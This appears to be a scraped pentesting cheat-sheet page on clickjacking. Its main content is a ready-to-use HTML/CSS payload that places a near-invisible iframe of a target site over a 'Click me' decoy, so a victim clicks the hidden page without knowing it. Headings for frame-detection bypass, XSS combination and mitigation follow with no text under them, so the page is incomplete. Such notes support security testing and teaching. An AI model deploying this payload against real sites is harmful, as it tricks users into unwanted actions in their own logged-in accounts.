Clickjacking
Basic clickjacking attack
<head>
<style>
#targetWebsite {
position: relative;
width: 800px;
height: 600px;
opacity: 0.00001;
z-index: 2;
}
#decoyWebsite {
position: absolute;
top: 450px;
left: 50px;
width: 100px;
height: 20px;
z-index: 1;
}
</style>
</head>
<body>
<div id="decoyWebsite">
Click me
</div>
<iframe id="targetWebsite" src="https://website.com?param=value">
</iframe>
</body>Bypass frame detection
Combining with XSS
Mitigation
Last updated